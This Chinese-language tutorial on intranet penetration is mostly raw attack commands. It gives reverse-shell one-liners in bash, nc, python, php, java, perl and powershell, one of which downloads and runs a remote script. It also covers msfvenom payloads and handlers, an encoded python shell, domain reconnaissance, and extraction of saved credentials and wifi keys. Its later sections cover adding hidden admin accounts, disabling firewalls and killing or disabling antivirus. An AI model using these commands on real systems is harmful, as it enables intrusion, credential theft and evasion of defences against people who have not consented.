反弹shell基本姿势,现在小编就来说说关于如何进行内网渗透?下面内容希望能帮助到你,我们来一起看看吧!
如何进行内网渗透
反弹shell
基本姿势
多种小姿势反弹
1.bash
attacker监听
nc-lvvp4444
victim运行
bash-i>&/dev/tcp/<attackerip>/44440>&1
2.nc
支持-e选项
attacker监听
nc-lvvp4444
victim运行
nc<attackerip>4444-t-e/bin/bash
3.python
attacker监听
nc-lvvp4444
victim运行
python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
4.php
attacker监听
nc-lvvp4444
victim运行
php-r'$sock=fsockopen("<attackerip>",4444);exec("/bin/sh-i<&3>&32>&3");'
或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个[linux和Windows两用的脚本](https://my.oschina.net/chinahermit/blog/144035)
5.java脚本
r=Runtime.getRuntime()
p=r.exec(["/bin/bash","-c","exec5<>/dev/tcp/<attackerip>/4444;cat<&5|whilereadline;do$line2>&5>&5;done"]asString[])
p.waitFor()
6.perl脚本
perl-e'useSocket;$i="<attackerip>";$p=4444;socket(S,PF_Inet,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
7.powershell
victim运行
powershellIEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp-Reverse-IPAddress<attackerip>-port4444
*MSFVenom生成常用payload *
1.生成二进制文件
关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。
Windows
msfvenom-pwindows/meterpreter/reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fexe>shell.exe
Linux
msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-felf>shell.elf
Mac
msfvenom-posx/x86/shell_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fmacho>shell.macho
如何利用?
以Windows为例,使用上面的命令生成一个exe的payload,复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:
msfconsole
useexploit/multi/handler
setPAYLOADwindows/meterpreter/reverse_tcp
setLHOST<自己的IP>
setLPORT4444
setExitOnSessionfalse
exploit-j-z
执行完之后在Windows下执行shell.exe
2.生成webshell脚本
在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell?
PHP
msfvenom-pphp/meterpreter_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.php
catshell.php|pbcopy&&echo'<?php'|tr-d'n'>shell.php&&pbpaste>>shell.php
ASP
msfvenom-pwindows/meterpreter/reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fasp>shell.asp
JSP
msfvenom-pjava/jsp_shell_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.jsp
WAR
msfvenom-pjava/jsp_shell_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fwar>shell.war
如何利用?
下面以php为例做一下测试,使用以下命令生成一个webshell,在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
useexploit/multi/handler
setPAYLOADphp/meterpreter_reverse_tcp
setLHOST<自己的IP>
setLPORT4444
setExitOnSessionfalse
exploit-j-z
将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
phpshell.php
3.脚本shell
关于使用脚本反弹shell的方式,主要以python、bash、perl为例。
Python
msfvenom-pcmd/unix/reverse_pythonLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.py
Bash
msfvenom-pcmd/unix/reverse_bashLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.sh
Perl
msfvenom-pcmd/unix/reverse_perlLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.pl
Powershell
msfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fpsh>shell.ps1
powershell.exe-ExecutionPolicyBypass-Fileshell.ps1
如何使用?
下面就以Python为例做一下测试,使用以下命令生成一个脚本,在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
useexploit/multi/handler
setPAYLOADcmd/unix/reverse_python
setLHOST<自己的IP>
setLPORT4444
setExitOnSessionfalse
exploit-j-z
然后复制shell.py中的内容在linux命令行下执行,如下:
python-c"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
信息收集
前期收集
queryuser||qwinsta查看当前在线用户
netuser查看本机用户
netuser/domain查看域用户
netview&netgroup"domaincomputers"/domain查看当前域计算机列表第二个查的更多
netview/domain查看有几个域
netview\\\\dc查看dc域内共享文件
netgroup/domain查看域里面的组
netgroup"domainadmins"/domain查看域管
netlocalgroupadministrators/domain/这个也是查域管,是升级为域控时,本地账户也成为域管
netgroup"domaincontrollers"/domain域控
nettime/domain
netconfigworkstation当前登录域-计算机名-用户名
netuse\\\\域控(如pc.xx.com)password/user:xxx.com\username相当于这个帐号登录域内主机,可访问资源
ipconfig
systeminfo
tasklist/svc
tasklist/Sip/Udomain\username/P/V查看远程计算机tasklist
netlocalgroupadministrators&&whoami查看当前是不是属于管理组
netstat-ano
nltest/dclist:xx查看域控
whoami/all查看MandatoryLabeluac级别和sid号
netsessoin查看远程连接session(需要管理权限)
netshare共享目录
cmdkey/l查看保存登陆凭证
echo%logonserver%查看登陆域
spn–ladministratorspn记录
set环境变量
dsqueryserver-查找目录中的ADDC/LDS实例
dsqueryuser-查找目录中的用户
dsquerycomputer查询所有计算机名称windows2003
dir/s*.exe查找指定目录下及子目录下没隐藏文件
arp-a
其他命令
pingicmp连通性
nslookupwww.baidu.comvps-ipdns连通性
dig@vps-ipwww.baidu.com
curlvps:8080http连通性
tracert
bitsadmin/transfernhttp://ip/xx.exeC:\windows\temp\x.exe一种上传文件>=2008
fuser-nvtcp80查看端口pid
rdesktop-uusernameiplinux连接win远程桌面(有可能不成功)
wherefilewin查找文件是否存在
找路径,Linux下使用命令find-name*.jsp来查找,Windows下,使用for/rc:\windows\temp\%iin(filelsss.dmp)do@echo%i
netstat-apn|grep8888kill-9PID查看端口并kill
发现密码
发现远程登录密码等密码:
https://www.nirsoft.net/utils/network_password_recovery.html
wifi 密码:
netshwlanshowprofile查处wifi名
netshwlanshowprofileWiFi-namekey=clear获取对应wifi的密码
进阶命令
远程登录
判断是内网,还是外网,内网转发到 vps
netstat-ano没有开启3389端口,复查下
tasklist/svc,查svchost.exe对应的TermService的pid,看netstat相等的pid即3389端口.
添加账号
netuseradmin1admin1/add&netlocalgroupadministratorsadmin1/add
*如不允许远程连接,修改注册表 *
REGADD"HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer"/vfDenyTSConnections/tREG_DWORD/d00000000/f
REGADD"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/vPortNumber/tREG_DWORD/d0x00000d3d/f
如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:
netshadvfirewallfirewalladdrulename="RemoteDesktop"protocol=TCPdir=inlocalport=3389action=allow
关闭防火墙
netshfirewallsetopmodemode=disable
解决system权限3389无法添加的用户情况:
判断原因:
I.杀软篇
1.360杀毒软件
2.麦咖啡杀毒软件
3.卡巴斯基杀毒软件
4.其他杀毒软件或防护软件
II.策略篇
1.3389端口变更
2.莫名其妙无法添加账户
3.管理员限制篇
4.系统已达最大连接数处理
———————–I.杀软篇—————————–
1.360杀毒软件
taskkill/im进程名.exe/f
把主动防御结束。360相关进程如下:
360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe
有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先queryuser看看管理员状态,因为很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill
所以logoff把管理员踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上
2.麦咖啡杀毒软件
完整一下过程就是,启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组
这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。
netuserguest/active:yes//将guest用户启用
netuserguestsilic!&11133//修改guest密码
netlocalgroupadministratorsguest/add//添加guest到管理员用户组中
3.卡巴斯基
调整系统时间,让卡巴的key失效
mkdir建立以非法字符“.”命名的文件夹,将pr等提权程序传进去。
4.金山防护软件
主要是KSafeSvc.exe
taskkill搞不定就用ntsd
ntsd-cq-pPID
金山毒霸 金山卫士 瑞星防火墙的组合
可以将如下代码保存到c:\windows\temp\a.vbs
Default
setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Setob=GetObject(os)
Setoe=GetObject(os&"/Administrators,group")
Setod=ob.Create("user","silic")
od.SetPassword"silic"
od.SetInfo
Setof=GetObject(os&"/silic",user)
oe.addos&"/silic"
然后用如下命令执行,就能得到账户为silic密码为silic的管理员账户了:
cscriptc:\windows\temp\a.vbs
5.禁用服务法
scconfig服务名start=disabled
给杀软服务设置为禁用,重启服务器,杀毒防护服务就不能运行。就无阻畅通了,例如:
scconfigMsMpSvcstart=disabled
——————————–II,策略篇—————————–
1.3389端口变更
进行3389添加账户前首先要知道3389到底开启没有。
netstat-ano查看端口和使用端口的进程pid,然后Tasklist看一下有哪个svchost.exe进程的pid使用了端口
注意,是svchost.exe当中的某个。
2.莫名奇妙无法添加账户
把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$就过了
如果还是添加不上,可以尝试用vbs脚本来添加
3.管理员限制
管理员直接把c:\windows\system32的net.exe给删了或者换了
于是你直接net的时候会提示拒绝访问或者不是系统命令等。
管你自己传一个自己的net.exe就突破了。
当然,也有64位系统和你的程序不兼容的情况发生,他是64你就传64位的
4.达到最大连接限制
有时候添加了账户,但是连接提示最大连接数限制。
首先queryuser查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8,超过8说明服务器好久没重启了(这个没准的)
然后logoffID,就把对应ID的管理员踢掉了。然后就能登录了。
隐藏 win 账户
渗透技巧——Windows 系统的帐户隐藏
端口转发与代理工具
参考文章:
渗透测试中弹shell的多种方式及bypass
史上最强内网渗透知识点总结
解决system权限3389无法添加的用户情况
,